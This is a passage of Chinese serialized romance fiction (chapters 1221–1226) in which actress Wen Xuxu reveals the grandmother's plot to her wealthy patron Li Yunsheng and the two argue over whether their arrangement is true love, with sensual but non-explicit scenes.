温栩栩深吸一口气,合上剧本。她需要清醒,可心跳却不受控制地加速。 她嘴角泛起一丝苦笑。清醒与沉沦,理智与情感,在她体内撕扯。 温栩栩将头抵在黎云笙的胸膛,听着他沉稳的心跳声,指尖无意识地摩挲着他衬衫的纹理。 黎云笙只顿了一瞬便重新搂抱住她细嫩的腰。 温栩栩心间也跟着微颤,内心再次成了一团乱麻。 她深知自己此刻的状态像是一场豪赌,可黎云笙的存在,却让她甘愿押上所有筹码。 她想起那些关于普通男人的新闻,分手后泼硫酸、绑架、散播黄谣……那些极端而扭曲的行为,像是一面面狰狞的镜子,映照出人性最阴暗的角落。而黎云笙,这个站在权力巅峰的男人,却用他的理智与温柔,为她撑起一片截然不同的天空。 单论起普通男人中,黎云笙的作风太过优越,有太多男人在被分手后心有不甘激动发疯伤害前任的?泼硫酸或者绑架自杀以及强迫的事情频频发生,甚至有些人得不到就毁掉的在网络上大肆散播对方的黄谣。 有多少人,谈一场恋爱或者结一次婚毁掉自己一辈子的? 但黎云笙是怎么做的?给她资源,给她想要的,将她高高捧起,不会像其他男性说你不配,不会故意拿捏贬低她,哪怕知道温栩栩念的大学只是普通的艺术院校,哪怕知道温栩栩是利用自己,他还是会告诉她你很漂亮你很优秀你的演技很好。 他会一直夸赞她,让她知道她值得。 她在黎云笙的庇护下,一步步走向舞台中央。旁人眼中,他是高不可攀的继承人,是商界翻云覆雨的新贵。可她却见过他褪去光环后的模样,在她被媒体恶意抹黑时,他不动声色地压下负面新闻,转头却对她说:“清者自清,别为不值得的人费神。” 他从未用权势压人,甚至在她突然提出结束关系时,也只是平静地反问:“这是你想要的结果吗?”那份尊重与克制,让她心头一颤。 “黎云笙……”她轻声呢喃,声音里带着自己都没察觉的依赖。 他低头,深邃的眸子凝视着她,眼底的暖意像是春日的溪流,融化了往日的凉意。 她忽然想起那些被她刻意忽略的细节,他会在她紧张时握住她的手,掌心温度传递着无声的安慰,这种细碎的温柔,像是一根根丝线,悄然缠住了她的心。 她并非不知晓自己的处境。黎老太太的算计如影随形,她清楚自己不过是枚棋子,终将被卷入豪门争斗的漩涡。可她就是忍不住去相信,相信黎云笙的不同。 他曾亲手将她捧上云端,给予她资源、机会,甚至在她自己都怀疑自己时,坚定地告诉她:“你很优秀。” 这种信任与支持,是她从未在其他人身上得到过的。 那些普通男人,在得不到时便撕破脸面,用最恶毒的方式摧毁对方。可黎云笙呢?他选择成全,选择用他的方式,让她在娱乐圈这片泥潭里,也能开出属于自己的花。 胸腔里涌起一阵酸涩,像是被柠檬汁浸透,却又带着一丝微妙的甜。 她想起自己过去的经历,那些试图用甜言蜜语哄骗她,却在利益面前原形毕露的男人那些在她拒绝后,立刻翻脸威胁的所谓“追求者”。 他们的贪婪与卑劣,让她对爱情彻底失望。 而黎云笙,这个本可以轻易掌控她命运的男人,却给了她最珍贵的尊重。他知晓她的利用,知晓她的出身,却依旧温和地对她说:“你很漂亮,你的演技很好。”这种不加掩饰的夸赞,让她在自卑的泥沼里,第一次真切地感受到自己的价值。 她抬起头,目光与黎云笙对视。 他的眼底没有往日的疏离,而是盛满了她此刻的模样。她忽然意识到,从他眼中看到的自己,仿佛被镀上了一层温暖的光晕。 那种被珍视的感觉,让她眼眶发热。 她觉得自己从黎云笙眼底看到的自己都是带着温暖色彩的。 温栩栩很想问对方一句,我可以相信你吗?我能够相信你吗?我想相信你。 可这话他问不出口。 第1221章 选择相信他 说这话实在是太矫情了,她只觉得胸腔酸涩,那种好像被酸涩果汁填满胸口的感觉让她觉得全身上下此刻都好像在发麻发涩了。 她觉得自己像是漂泊多年的孤舟,终于找到了可以停靠的港湾。即使前方仍有风暴,她却愿意赌一次,赌黎云笙的理智与温柔,能护她周全。 对上男人此刻温柔的眼眸,她仿佛听见自己心底冰层碎裂的声音。那些关于算计与危险的顾虑,在黎云笙的温柔里,竟奇迹般地褪去了几分尖锐。 她忽然明白,或许真正的信任,本就是明知风险,却依旧选择交付。而黎云笙,正用他的沉稳与理智,让她有了这份勇气。 娱乐圈的浮华喧嚣在她耳边呼啸而过,可她此刻却只听得见黎云笙的心跳。 那沉稳的节奏,像是最安心的乐章。 温栩栩深吸一口气,将头更深地埋进他的怀里。 她知道自己或许仍会清醒地分析局势,或许仍会恐惧未来的风暴。 可此刻,她只想相信,相信黎云笙的理智能让她避开那些毁掉一生的陷阱,相信他的温柔能成为她沉浮中的锚。 她闭上眼,嘴角泛起一丝苦涩又坚定的笑。 赌局的风险她清楚,可她愿意押上所有,赌黎云笙的真心,赌自己能成为那个例外。 她终究,还是愿意再赌一次。赌黎云笙的优秀与理智,能让他在权势与感情之间,选择后者。 她仰起头,目光像穿透层层迷雾般望向黎云笙,仿佛在这一刻,她真的能窥见男人心底的温度。 那层外界眼中冰冷如霜的铠甲,在她面前竟如薄雾消散,只余下温润如玉的真心。 她忽然生出一种近乎执拗的念头,不想对他有任何隐瞒。 无论是黎老太太的威逼利诱,还是自己心底翻涌的挣扎,她都想要毫无保留地倾倒在他面前,仿佛这样就能证明,她选择了他,选择了这份暧昧中带着危险的羁绊。 “黎老太太见了我。”她的声音像羽毛拂过寂静的空气,带着一丝不易察觉的颤抖。 黎云笙的瞳孔微微收缩,眉梢挑起一抹意外的弧度,却并未如她预想的急切追问,只是安静地等待下文。这份沉稳,让她心底的涟漪愈发汹涌。 她能清晰感知到,他眼底没有审视的锐利,没有算计的暗涌,只有如静湖般包容的等待,仿佛无论她说出什么,他都会承接住。 温栩栩深吸一口气,将他的手轻轻贴在自己的侧脸。肌肤相触的瞬间,她感受到他掌心传来的温度,像是熨帖了某种不安。 黎云笙低笑出声,笑声如清泉滴落,指尖不仅抚上她的脸颊,还恶劣地揉捏了一下,力道轻柔得如同逗弄一只猫儿。 “你不好奇她跟我说了些什么吗?”她问,声音里带着一丝自己都未察觉的撒娇意味。 黎云笙喉间溢出一声慵懒的“嗯”,尾音上扬,带着淡淡的哑意:“好奇。” 可他的表情却透着几分漫不经心,仿佛答案早已在他掌控之中。 温栩栩在心底腹诽,你这副气定神闲的模样,倒像是早知一切。 可转念又想起黎云笙与黎老太太的嫌隙,明知她私下与祖母联系,他却始终冷静如斯,情绪如磐石般稳定。这份泰山崩于前而色不变的理智,反而让她心跳愈发急促。 她忽然想任性一次,想看他为她破例,为她露出不同的一面。 黎云笙却突然倾身,将她的手举至唇边,温热的呼吸喷洒在她指尖。 他动作轻柔地亲吻她的手背,唇瓣如蝶翼般掠过皮肤,留下一串酥麻的电流。 温栩栩只觉脸颊滚烫,仿佛被火灼烧,粉意从耳尖蔓延至脖颈。她想要抽回手,却被黎云笙顺势含住指尖,牙齿轻咬,舌尖若有若无地舔舐。这动作带着几分挑逗的意味,像是禁忌的触碰,又像是情人间最亲密的嬉戏。 “唔……”她轻呼出声,声音里染上自己都没察觉的娇软。 温栩栩被他这样的动作激得整个人好像皮肤都要红透了,整个人脸颊都泛着点粉,明明亲都亲了好多次了,现在却感觉自己透着点纯真了。 这太离谱了! 温栩栩想要抽回自己的手,就被男人启唇含在嘴里轻咬了下,像是挑逗。 其实最开始很难想象黎云笙这种长了一张厌世冷漠脸的男人会做出这种透着几分涩气的动作。 有点限制级,但是却又让人控制不住的觉得该死的有吸引力……真的会很喜欢啊。 她想起初见黎云笙时,他那张冷峻如雕塑的面容,仿佛对世间一切漠然置之。 可此刻,这双曾握过权柄、签署过无数文件的手,正温柔地握着她;这双曾盛满凉意的眼眸,此刻却盛满灼热的欲望。这种反差,竟让她心跳如擂鼓,沉迷其中。 温栩栩的脑海中瞬间闪过无数念头,黎老太太的威胁、未来的算计、可能的利用……可此刻,这些沉重的思绪都被黎云笙的动作搅碎。 她只想沉溺在这暧昧的漩涡里,享受他掌心温度,贪恋他呼吸间的气息。 去他的黎老太太吧! 此刻,她的世界里只剩下黎云笙,只剩下他指尖的挑逗,只剩下他眼底的缱绻。 黎云笙的唇顺着她的指尖往上,若有似无地吻过她的手腕,留下一串湿润的痕迹。 温栩栩的呼吸愈发急促,身体不受控制地微微颤抖。她从未见过如此矛盾的男人,冷静如冰,却又炽热如火,理智如斯,却又放纵情欲。 这种极致的反差,让他如磁石般吸引着她,让她甘愿沉沦。 “说了什么?”黎云笙的声音再次响起,这次却贴着她的耳畔,热气直接灌入她的耳道。 温栩栩浑身一震,耳尖瞬间红透。 他的唇若有似无地蹭过她的耳垂,牙齿轻咬,仿佛在惩罚她的走神。 她只觉得全身酥软,几乎要瘫倒在他怀里。 “她……她让我离开你。”她艰难地挤出这句话,声音带着一丝颤抖。黎云笙的动作顿住,手指却依旧停留在她的腰间,力度微微加重,仿佛要将她揉进身体里。 第1222章 回应他的渴望 温栩栩能感受到他胸腔传来的震动,那是他低笑的声音。 “然后呢?”他的声音带着危险的诱惑,指尖开始沿着她的腰线游走,所到之处,激起一片战栗。 温栩栩咬住下唇,努力克制住想要贴近他的冲动。她知道自己此刻的眼神一定迷离,脸颊一定绯红,可她却不想掩饰。她想要让他看到自己的动摇,自己的渴望。 “然后我说……”她故意停顿,指尖在他的胸膛画圈,感受着他心跳的加速,“我说,我选了你。”最后一个字落下,黎云笙猛地将她揽入怀中,唇重重压了下来。 不再是刚才的轻挑逗,而是带着汹涌情欲的深吻。 温栩栩被他吻得几乎窒息,却甘之如饴。他的吻如狂风暴雨,却又带着奇异的温柔,仿佛要将她所有的不安与挣扎都碾碎。 在这绵长而炽热的吻中,温栩栩的理智彻底溃散。她不再去想黎老太太的算计,不再去担忧未来的风雨。 此刻,她只想感受黎云笙的温度,回应他的渴望。 他的吻从唇瓣蔓延至脖颈,指尖在她后背游走,点燃一簇簇火焰。 她觉得自己仿佛置身于熔岩之中,却又甘之如饴。这种极致的暧昧,这种肌肤相亲的亲密,让她彻底沉沦。 不知何时,黎云笙已将她压在沙发上,两人的呼吸交织在一起,空气中弥漫着暧昧的气息。 温栩栩看着上方男人迷离的眼眸,心中涌起一股从未有过的笃定。 “我刚才骗你的,她对我说的不是这些。”温栩栩的喘息声轻如蝶翼,仿佛这句话耗尽了她所有的力气。 她仰起头,目光如水的望着黎云笙,眼底闪烁着复杂的光,有愧疚,有挣扎,却更多的是一种近乎执拗的坦诚。 黎云笙的指尖还停留在她下颌处,指腹轻轻揉捏了一下,力道轻柔得如同羽毛拂过。 他漆黑的瞳孔深处掠过一丝涟漪,却并未言语,只是低沉的“嗯”了一声,尾音带着慵懒的沙哑。 那声应答仿佛只是随口附和,又像是早已洞悉一切的淡然。 温栩栩的心跳却因这个单音节陡然加快,她攥紧了他的衣袖,指尖微微泛白,仿佛要抓住最后一根浮木。 “所以说了什么?”他追问,声音里听不出丝毫急切,更像是漫不经心的闲聊。 修长的手指却悄然抚上她发烫的脸颊,指节若有似无的摩挲着她耳畔的碎发。 温栩栩的呼吸愈发急促,她甚至能感受到他掌心传来的温度,仿佛要将她整个人点燃。 她凝视着他深邃的眉眼,那里面没有质问的锋芒,反而氤氲着一种令人沉溺的温柔。 这种温柔让她莫名安心,她深吸一口气,终于开口:“她没有让我离开你。”这句话如释重负的吐出,她反而挺直了脊背,仿佛卸下千斤重担。 她直视着他的眼睛,一字一顿道:“她要害你。” 温栩栩的声音清晰而坚定,没有一丝躲闪。她甚至能感觉到自己掌心沁出的薄汗,黏腻的攥着他的衣料。 她不想隐瞒,不想让黎云笙对她产生一丝一毫的误解。她知道黎老太太的狠毒,更清楚这个秘密可能成为两人之间永远无法弥合的裂痕。 所以她选择剖开自己的心,将最赤裸的真相捧到他面前,哪怕鲜血淋漓。 黎云笙的眸色倏然加深,指腹的力道加重了几分,却仍保持着轻柔的节奏。 他当然知道黎老太太与温栩栩的每一次交锋,那些暗室里的密谈,那些毒蛇般的威胁,甚至温栩栩当时每一个细微的表情变化,都早已通过隐秘的监控被他尽收眼底。 但此刻,当温栩栩亲口将这些血淋淋的真相吐露时,他的心脏还是不可抑制的震颤了一下。 不是因为震惊,而是因为某种滚烫的情绪在胸腔翻涌,那是信任的重量,是赤诚的温度。 他凝视着温栩栩,她眼底的坦诚如同一泓清泉,清澈见底,倒映着他的身影。 他忽然轻笑出声,那笑声里没有嘲讽,没有愤怒,反而带着一丝他自己都未曾察觉的宠溺。 他抬手将她散落的一缕发丝别到耳后,指尖顺势滑至她颈侧,轻轻捏住她耳垂把玩。 温栩栩浑身一颤,耳尖瞬间染上绯红,仿佛被点燃的烛火。 她下意识想后退,却被黎云笙另一只手扣住了腰肢,力道不重,却足以让她动弹不得。 “继续说。”他的唇几乎贴着她的耳廓,温热的气息喷在她敏感的耳畔,激起一阵战栗。 温栩栩的睫毛剧烈颤动,她吞咽了一下,声音带着一丝颤抖:“她就是让我害你……她想要你的命。”说出这句话时,她感觉喉咙仿佛被灼热的炭火烫过,每一个字都艰难无比。 她不敢抬头看他,只能死死攥着他的衣袖,仿佛那是唯一的救命稻草。 她等待着,等待着他的质问,或是厌恶,或是疏离。然而,预料中的风暴并未降临。 黎云笙的指尖在她耳垂上流连的力度忽然加重,他将她整个人揽入怀中,下巴抵在她发顶,声音低沉得仿佛裹着蜜糖:“然后呢?” 他的语气里甚至带着一丝戏谑,仿佛在听一个荒诞却有趣的故事。 温栩栩惊愕的抬头,正撞进他含笑的眼眸。那里面没有她想象中的任何负面情绪,反而闪烁着一种让她心悸的幽光。 她愣住了,心跳如擂鼓,喉咙发紧,竟一时语塞。 黎云笙却突然低头,吻住了她微张的唇。这个吻来得猝不及防,却温柔得不可思议。 他的唇瓣轻轻摩挲着她的,仿佛在安抚一只受惊的小兽。 温栩栩的瞳孔猛地放大,大脑瞬间空白。 她想要挣扎,却被他更紧的扣在怀里,腰间的禁锢如同铁箍,却又带着令人眷恋的温度。 他的吻渐渐加深,舌尖探入她唇齿间,带着不容拒绝的霸道,却又缠绵得让人窒息。 温栩栩的呼吸彻底乱了,她只能攀附着他的脖颈,任由他攻城略地。这个吻仿佛持续了一个世纪,直到她几乎要溺毙其中,黎云笙才稍稍退开,额头抵着她的,鼻尖厮磨。 他低笑,声音沙哑得厉害,指尖抚上她红肿的唇瓣,轻轻描摹,下一瞬男人顺势握住双手,十指紧扣。 第1223章 他在撒娇 他将她压在身下,两人身体紧密相贴,暧昧的气息在狭小的空间里弥漫。他漆黑的眼眸锁定着她,仿佛要将她看穿:“你为什么要告诉我?”他的声音带着一丝危险的蛊惑,指尖沿着她的锁骨缓缓下滑。 温栩栩的心跳几乎要冲破胸腔,她望着他近在咫尺的脸,喉间仿佛被什么哽住,却仍一字一顿道:“我想告诉你。”这句话几乎是脱口而出,带着她自己都未曾察觉的决绝。 她直视着他的眼睛,瞳孔里映着黎云笙深邃的轮廓,仿佛要将灵魂都剖开给他看:“我不想让你误会,更不想让你因为我受伤。”每一个字都如重锤敲在他的心上,黎云笙的瞳孔猛地收缩,扣住她的手骤然收紧,指节泛白,仿佛要将她揉进骨血。 温栩栩的指尖无意识地揪着他的衬衫,布料褶皱的痕迹如同她此刻凌乱的心跳,一下一下,急促而慌乱。 黎云笙的吻从唇瓣移至她颈侧,温热的呼吸拂过她敏感的肌肤,留下点点湿润的痕迹。 他低沉的声音在她耳畔响起,带着危险的蛊惑:“你知道吗,从你选择坦白的那一刻起,你就再也逃不掉了?” 温栩栩的呼吸一滞,她抬头望着他,眼底泛起水光,却带着义无反顾的坚定:“你这句话我是不信的。” 她微微扬起下巴,眸光中带着几分涟漪,仿佛赌上一切的倔强,“如果我说我要离开,你会选择让我离开的,不是吗。” 黎云笙喉头发紧,看到她这般笃定,视线微微偏移,落在她微颤的睫毛上。 那睫毛如蝶翼般轻颤,仿佛在扇动他心底的风暴。 “你为什么不回答我?”温栩栩开口,声音带着一丝不易察觉的颤抖。 她指尖仍揪着他的衬衫,力道却悄然加重,仿佛在寻求一个答案,又仿佛在害怕答案。 黎云笙沉默片刻,喉结滚动,却忽然转移话题:“华庭出了新口味的餐点,是你会喜欢的味道,要尝尝看吗。” 他像是故意想要转移温栩栩的注意力一般,声音里带着一丝罕见的温柔,却又透着某种逃避的意味。 温栩栩的心猛地一沉,她忽然伸出手拽住他的衣领,指尖陷入他衬衫的纹理。 黎云笙毫无防备,整个人压下来,温栩栩双手捧住他的脸,此刻两人几乎是再度四目相对,甚至彼此之间的呼吸都交错着,温热的气息在鼻尖缠绕。 她凝视着他,眼底燃起倔强的火苗:“为什么不回答我的问题?”这已经是第三次问到这个问题了,她的声音带着一丝不易察觉的沙哑,仿佛用尽了全身的力气。 黎云笙却在下一秒凑上去,唇瓣重重压住她的。 温栩栩轻哼一声,被他亲吻的整个人都有些恍惚的缓不过神。他的吻如狂风暴雨般席卷而来,舌尖探入她唇齿间,带着不容拒绝的霸道,却又缠绵得让人窒息。 她攀着他的脖颈,指尖陷入他后颈的肌肉,身体不由自主地颤抖。这个吻仿佛持续了一个世纪,直到她几乎要溺毙其中,黎云笙才稍稍退开,额头抵着她的,鼻尖厮磨。 下一瞬,温栩栩感觉到男人的头靠在自己的肩侧,似乎是很轻很轻的蹭了下。 他的呼吸喷在她颈间,温热的触感激起一阵战栗。 温栩栩浑身僵住,难以置信地僵在原地。这简直“丧尽天良”! 黎云笙向来清冷疏离,此刻却像只慵懒的猫儿般在她肩头蹭着,发丝扫过她耳畔,带来酥麻的痒意。 这太像撒娇了!她甚至能感觉到他脸颊的温热,透过薄薄的衬衫布料传来,仿佛要将她融化。 “你……你……”温栩栩结结巴巴,喉咙发紧,竟一时语塞。 她从未见过黎云笙这般模样,心中涌起一股陌生的悸动。 黎云笙却将头埋得更深,手臂环住她的腰肢,力道不重,却带着不容挣脱的温柔。 黎云笙这人总给人一种什么感觉? 黎云笙像是那种强大俊美的雪狼王,可偏偏身上又带着猫科的慵懒感觉。 如果用兽来形容,他一定是最顶尖的猛兽,可偏偏却又在撒娇! 这谁扛得住?反正温栩栩是扛不住。 温栩栩望着他,喉间仿佛被什么哽住,心跳如擂鼓般急促。她深吸一口气,指尖无意识地揪着他衬衫的褶皱,布料纹理在掌心留下清晰的触感,仿佛能透过这层布料触碰到他滚烫的心跳。 “黎云笙,你这个人……简直没有人性的。”温栩栩终于忍不住脱口而出,声音带着一丝她自己都未曾察觉的颤抖。 黎云笙眉梢微挑,喉间溢出一声极轻的“嗯”。 “为什么这么说?”他的尾音带着一丝慵懒的沙哑,仿佛裹着蜜糖的丝线,轻轻勾住她的耳膜。 温栩栩的呼吸一滞,她攥紧他的衣襟,力道不自觉加重:“有人性的男人根本做不出这种动作的!”她指控道,指尖戳了戳他近在咫尺的胸膛,却被他突然扣住手腕,掌心温度透过皮肤传来,烫得她指尖一颤。 “你别以为我忘记你故意转移我的注意力!”温栩栩挣扎着抽回手,却被他顺势揽入怀中。 黎云笙的头枕在她颈侧,呼吸喷在她耳畔,温热的触感激起一阵战栗:“我还记得我的问题你还没有回应呢,快回答我。”她咬着牙,声音却不由自主地软了几分。 黎云笙的唇瓣蹭过她耳垂,留下一串湿润的痕迹。 “明明之前我说要分开的时候你就很干脆,你以后也会这样干脆的对吗。”温栩栩对上他的眼睛,眼底燃起倔强的火苗,仿佛要将灵魂都剖开给他看。 黎云笙的瞳孔猛地收缩,他扣住她的手骤然收紧,指节泛白。 温栩栩的指尖无意识地揪着他的衬衫,布料褶皱的痕迹如同她此刻凌乱的心跳。 他微微顿了下,然后似乎是带着几分心虚的移开了视线,睫毛轻颤,仿佛卸下了所有防备。 温栩栩的心跳漏了一拍,她忽然伸出手拽住他的衣领. 第1224章 他的救赎 温栩栩的指尖陷入他衬衫的纹理:“黎云笙?你耍赖?”黎云笙的喉结滚动,喉间溢出一声低低的叹息,他忽然将头埋得更深,手臂环住她的腰肢,力道不重,却带着不容挣脱的温柔。 黎云笙这次倒是干脆直接的嗯了一声。 他的声音闷闷的,带着一丝罕见的脆弱,仿佛赌上一切的倔强。 温栩栩被他这反应噎住了,一时竟然不知道该什么反应了。 她望着他,眼底泛起水光,却带着义无反顾的坚定:“黎云笙,你到底什么意思。”黎云笙的吻重新落在她眉宇之间,很轻很缓,甚至能让温栩栩感觉到他此刻的珍重之意。 他指尖摩挲着她腰间的肌肤,温热的触感如电流般窜过她的神经:“我不想放开你。”他一字一顿道,漆黑的眸底翻涌着浓得化不开的情欲与占有,仿佛要将她彻底吞没。 十指紧扣的双手微微用力,仿佛要将她永远锁在身边。 “温栩栩,过分的那个人难道不是你吗?”黎云笙的声音低沉,带着危险的蛊惑。 温栩栩的呼吸一滞,她抬头望着他,只见他睫毛轻颤,眼神却带着一丝罕见的脆弱,仿佛卸下了所有防备:“你明知道我在黎家长大,你明知道黎家那些乱七八糟的事,你却还要在这种时候站在我这边。” 他的指尖抚上她的脸颊,力道轻柔得仿佛捧着易碎的瓷器,“如果你没有告诉我那些话,或许我还可以放你离开,给你离开的机会。” 他的声音忽地沉了下去,染上一丝不易察觉的苦涩,“可你完全选择了我,你让我怎么能再放你离开。” “你说是我在耍赖,可你为什么不说是你太犯规?”他忽然将她拥入怀中,下巴抵在她发顶,声音闷闷的,带着一丝她自己都未曾察觉的委屈。 温栩栩的心跳骤然漏了一拍,她攀着他的脖颈,指尖陷入他后颈的肌肉,身体不由自主地颤抖。 窗外的月光透过纱帘洒落,为两人交织的身影镀上一层银边。暧昧的喘息声与低语声交织。 “黎云笙……”温栩栩的喉咙发紧,她望着他,眼底泛起涟漪。 他蹭了蹭她的肩,像只慵懒的猫儿般在她肩头蹭着,发丝扫过她耳畔,带来酥麻的痒意。 这个人分明又在撒娇了! 她甚至能感觉到他脸颊的温热,透过薄薄的衬衫布料传来,仿佛要将她融化。她抬手抚上他的脸颊,指尖触到他微凉的皮肤,心跳愈发急促:“可你之前明明……”她的话被他的吻截断,唇瓣重重压住她的,如狂风暴雨般席卷而来,舌尖探入她唇齿间,带着不容拒绝的霸道,却又缠绵得让人窒息。 这个吻仿佛持续了一个世纪,直到她几乎要溺毙其中,黎云笙才稍稍退开,他凝视着她,漆黑的眼眸里翻涌着浓得化不开的情欲与占有:“我之前……只是不敢信。” 他的声音沙哑:“我不敢信你会选择我,不敢信你会站在我这边。”温栩栩的心猛地一颤,她望着他,眼眶发热。 他蹭了蹭她的肩,声音闷闷的:“我不想让你走。”温栩栩的心跳骤然漏了一拍,她低头望着他,只见他睫毛轻颤,眼神却带着一丝罕见的脆弱,仿佛卸下了所有防备。 温栩栩此刻恍惚到仿佛感觉到黎云笙这话里面带着几分委屈。 她甚至会觉得黎云笙这样是不是有点可怜? 温栩栩怎么也没想到黎云笙会是这样的回答。 她望着他,眼底泛起涟漪,喉间仿佛被什么哽住。 其实不难理解。 黎云笙出生在黎家,那个盘根错节、暗流涌动的高门大户。 温栩栩不是没见到过黎家那些臭虫般的族人,他们表面光鲜,背地里却如蛀虫般啃噬着家族根基,勾心斗角、阴谋算计早已成为常态。 她更知道,黎家内部的弯弯绕绕太多,多到足以将人逼入窒息的深渊。 而黎云笙身边竟找不到什么真正能交心信任的人。 他本已习惯了独自留在深渊崖底。那深渊如他内心的写照,冰冷、黑暗、孤寂,仿佛被全世界遗忘。 他蜷缩在崖底,用冷漠与疏离筑起高墙,将所有人隔绝在外。他早已学会在黑暗中生存,甚至觉得,或许这就是他的宿命。 可突然有一天,有个人好像背着这世界上最耀眼的光,强硬地闯入他的世界。她不顾他的抵触与抗拒,甚至不顾他恶语相向,固执地将那束光倾洒在他身上。 他拼命的阻拦,嘶吼着“不需要”,甚至想用利爪撕碎那束光。他不想去接收她的施舍,更不愿让自己陷入依赖的泥沼。 可对方不给他拒绝的机会,她就是那样无赖,那样固执,仿佛认定了他值得被照亮。 她将光倾洒在深渊,驱走了那些盘踞已久的黑暗。他蜷缩在角落,却不由自主地抬头,看着那束光穿透浓雾,落在他的掌心。 那光温暖、明亮,带着他从未感受过的温度,仿佛能融化他心底的寒冰。 可如今,明明给了他光的人,却轻声问他:“是不是以后能够带着这些光离开?”他的瞳孔猛地收缩,心脏仿佛被一只无形的手攥紧。 为什么离开?不能离开!他绝不能放她离开! 他要把这束光留下来,永远的留下来。 那是他渴望了太久太久的东西了,是他以为一辈子都不会拥有的奢望。 黎云笙的指尖无意识地揪着衬衫,褶皱的痕迹如同他此刻凌乱的心跳。 如今,她问他是否会放她离开,他怎能回答“会”?他深知自己的世界有多黑暗,深知黎家的泥沼有多肮脏。他害怕她看到那些丑陋后转身离去,害怕她终有一天会厌倦他的阴郁与沉重。 可他也清楚,她的出现,早已成为他黑暗世界里唯一的救赎。 他喉头发紧,视线微微偏移,不敢直视她的眼睛。 温栩栩看到此刻的黎云笙,她甚至觉得自己此刻是不是在同情黎云笙。 一个女人同情一个男人的时候……那不是代表快要爱上对方了吗? 这太可怕了! 第1225章 不然还能是……真爱吗? “黎云笙,你不能这样无赖……”温栩栩的声音里带着明显的颤音,指尖微微发颤,仿佛连呼吸都凝滞了。 她望着眼前这个男人,他深邃的眼眸如墨潭般幽深,此刻却泛起涟漪,仿佛藏着千言万语,却又被无形的枷锁禁锢。 她喉间发涩,心头堵得慌,仿佛有一块巨石压着,让她喘不过气来。 她知道自己正在危险的边缘徘徊,一旦跨出那一步,便可能万劫不复。 她也担心自己会被黎云笙绕进去,然后真的为了他做傻事。 她深知自己的身份地位,如尘埃般卑微,而他却如高悬的明月,遥不可及。 她可以短暂地拥有过他,享受过他的温柔与眷恋,但那终究只是一场梦,一场注定要醒的梦。她不敢奢望更多,不敢让自己陷入太深,否则,当梦醒时分,她将如何承受那撕心裂肺的痛? 温栩栩想,自己不该真的做个蠢货。 她曾无数次告诫自己,要保持清醒,要守住底线。可每当黎云笙的目光落在她身上,那温柔如水的眼神,那带着磁性的声音,总能轻易地瓦解她的理智,让她心甘情愿地沉沦。 她相信他的为人,相信他对她的情意并非虚假,但她仍然不认为自己真的配留在黎云笙的身边。 身份的鸿沟如天堑,横亘在他们之间,让她望而生畏。 黎云笙凝视着她,眼神凛冽,仿佛要将她看穿。 他怎会不懂她的心思?他怎会不知她的挣扎?可他无法放手,无法眼睁睁地看着她离自己而去。 他喉间发紧,声音沙哑,:“这不是无赖,只是不想放你走。”他的指尖轻轻抚上她的脸颊,动作温柔,仿佛生怕稍一用力,便会将她碰碎。 温栩栩的心猛地一颤,眼眶微微泛红。她别过头,不敢直视他的眼睛,生怕自己会忍不住落泪。 她深吸一口气,强压下心头的酸涩,声音却依旧带着一丝倔强:“黎云笙,你对我的好,让我很心动。可是,我们之间的关系……本就是金主和情人啊。”说出这句话时,她感觉自己仿佛被抽走了所有力气,身体微微发抖,连指尖都变得冰凉。 黎云笙愣了一瞬,脸上的笑意瞬间凝固,取而代之的是一抹苦涩。 他望着她,眼神复杂,如墨潭般幽深。 他缓缓开口,声音低沉:“原来在你眼里,我们的关系……就是金主和情人吗?”他的指尖仍停留在她的脸颊上,却微微颤抖,仿佛在承受着巨大的痛苦。 他从未想过,在她心中,他们的感情竟如此卑微,如此不堪。 温栩栩内心发酸,如针扎般难受。她何尝不想说那是真爱?何尝不想与他携手一生? 可她不敢,她不能。她的身份,她的过去,如枷锁般束缚着她,让她不敢有非分之想。 她咬紧下唇,执拗地开口:“那不然呢?不然还能是……真爱吗?”她的声音带着一丝颤抖,眼神闪烁,不敢与他对视。 她害怕看到他眼中的失望,害怕听到他否定的回答,却又固执地不肯退让。 一时之间,没有人开口,气氛骤然静下来,方才的暧昧氛围在此刻消失得无影无踪。 房间里的空气仿佛凝固了,压抑得让人喘不过气来。 温栩栩感觉自己不该说彼此的关系是金主和情人,那话如利刃般刺痛了他的心,也刺痛了她的心。 可她不肯说软话,不肯示弱,只能将心头的酸涩与痛苦强压下去,用冷漠的外壳将自己包裹起来。 她望着他,目光如冰,却掩饰不住眼底的挣扎与痛苦。 她知道自己的话伤了他,可她别无选择。 她必须让自己清醒,必须让他明白,他们之间没有未来。 她深吸一口气,声音坚定:“我们这样的关系,本来也是不会长久的。”说出这句话时,她的心仿佛在滴血,痛得她几乎无法呼吸。 黎云笙很轻的笑了一声,那笑声里带着点自嘲的意味儿,仿佛连他自己都觉得自己可笑。 他望着她,眼神复杂,如墨潭般幽深,却又带着一丝决绝。 他缓缓点头,声音低沉:“你说得对。”他的指尖从她的脸颊滑落,垂在身侧,紧握成拳,指节泛白。 他深知她说的是事实,他们的关系,本就如浮萍般漂泊无根,随时都可能被现实的巨浪吞噬。 可他怎能甘心?怎能放手?他凝视着她,目光如炬,仿佛要将她刻进骨子里。 他缓缓靠近她,将她逼至墙角,高大的身躯笼罩着她,让她无处可逃。 他的指尖轻轻抚上她的唇,动作温柔得如同对待珍宝。他望着她,眼神深邃,如墨潭般幽深,却又带着一丝执着:“温栩栩,就算只是金主和情人,我也只要你。”他的声音沙哑,带着一丝颤抖,仿佛用尽了全身的力气。 温栩栩的心猛地一颤,眼眶瞬间湿润。她望着他,眼神闪烁,如秋水般波光粼粼,却又带着一丝挣扎。她别过头,不敢直视他的眼睛,生怕自己会崩溃。 她深吸一口气,强压下心头的酸涩,她的指尖微微颤抖,仿佛在抗拒,却又在渴望。 黎云笙凝视着她,眼神愈发深邃。 黎云笙没有反驳温栩栩,没有告诉温栩栩她此刻对他有多重要。 他只是沉默地松开手,指尖还残留着她发丝的触感,温热的温度仿佛已渗入骨髓。 手机突然响起,铃声刺耳地划破寂静,是剧组催着温栩栩继续去拍戏了。 温栩栩只觉得这手机是来拯救自己的,她仓惶地站起身,根本不敢回头去看黎云笙。 她抓起外套和剧本,逃也似的冲向门口,背影慌乱如受惊的蝴蝶。 黎云笙没有阻拦,只是颓然跌坐在沙发上,目光黏在温栩栩身上,从她的背影到消失在门外的瞬间,他的眼神漆黑幽深,仿佛深不见底的潭水,翻涌着无声的暗潮。 他望着她离去的方向,喉结滚动,却吐不出只言片语。 房间里骤然安静下来,只剩下他沉重的呼吸声。 第1226章 黎家背景深,水也深 